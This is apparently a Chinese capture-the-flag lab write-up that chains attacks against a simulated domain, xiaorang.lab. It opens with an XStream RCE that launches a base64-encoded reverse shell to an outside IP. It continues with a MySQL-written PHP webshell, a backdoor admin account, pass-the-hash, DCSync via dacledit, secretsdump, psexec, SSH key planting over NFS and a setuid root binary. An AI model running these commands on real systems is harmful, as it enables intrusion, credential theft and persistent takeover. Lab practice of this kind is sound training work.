有xstream依赖和CC3.2.1依赖,搜这个版本的xstream能搜到CVE-2021-29505可以rce:vulhub/xstream/CVE-2021-29505/README.zh-cn.md at master · vulhub/vulhub · GitHub
简单看一下poc就知道是jndi了而且还是rmi的，然后这个8080端口还是上传xml的服务，直接打
1
| java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuMjYuMTI0LjIyMC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"
|
然后post发xml

172.22.13.28(WIN-HAUWOLAO.xiaorang.lab) mysql弱口令 Windows Server 2016

肯定先看这个mysql弱口令,proxifier起代理连接navicat
1
| show variables like "secure_file_priv";
|
这个是空的所以能写马，查看日志发现是phpstudy起的服务，一般连上去就是system权限，不用udf提权了
1
| show variables like "%general%"
|
1
| select "<?php eval($_POST[1]);?>" into outfile "C:/phpstudy_pro/WWW/1.php";
|
蚁剑起代理连接一下拿到flag
接下来就可以添加用户rdp上去

| net user test qwer1234! /add
net localgroup administrators test /add

依旧猕猴桃抓hash

发现机器账户WIN-HAUWOLAO$的哈希是5d827f11e09c7845e4c82c200490102d，可以在猕猴桃里面pth拿到system，但是我寻思这玩意本身就可以管理员启动，无所谓的
1
| sekurlsa::pth /user:WIN-HAUWOLAO$ /domain:XIAORANG.LAB /ntlm:5d827f11e09c7845e4c82c200490102d
|
其实这里还发现一个chenlei的用户，这里很奇怪的是蚁剑能执行命令，而rdp上去的不行
意味着这个用户拥有WriteDACL权限，我们可以给chenglei账号添加DCSync权限，或者RBCD权限
添加DCsync权限：
1
| proxychains4 python dacledit.py xiaorang.lab/chenglei -hashes :0c00801c30594a1b8eaa889d237c5382 -action write -rights DCSync -principal chenglei -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.13.6
|
然后dump哈希
1
| proxychains4 impacket-secretsdump xiaorang.lab/chenglei@172.22.13.6 -hashes :0c00801c30594a1b8eaa889d237c5382 -just-dc-ntlm
|
pth拿下域控
1
| proxychains4 python psexec.py -hashes :6341235defdaed66fb7b682665752c9a XIAORANG/Administrator@172.22.13.6
|
剩下一个flag2自然就是在centos上了，题目已经提示要打nfs了，nfs的常用端口111和2049,显然57这台机子是开着2049端口的
1
| showmount -e 172.22.13.57
|
挂载目录就行了
1
2
| mkdir temp
mount -t nfs 172.22.13.57:/ ./temp -o nolock
|
靶机上搞貌似会报错，选择编译的方式搞

然后写ssh公钥登入
1
2
3
4
| ssh-keygen -t rsa -b 4096
cd /temp/home/joyce/
mkdir .ssh
cat /root/.ssh/id_rsa.pub >> /temp/home/joyce/.ssh/authorized_keys
|
然后就可以ssh连上去
1
2
| ssh -i /root/.ssh/id_rsa joyce@172.22.13.57
python3 -c 'import pty;pty.spawn("/bin/bash")'
|
suid看一下
1
| find / -user root -perm -4000 -print 2>/dev/null
|
nfs提权
1
2
3
| echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > root.c
gcc root.c -o root
chmod +s root
|
这样就编译好一个提权文件，直接执行拿到root
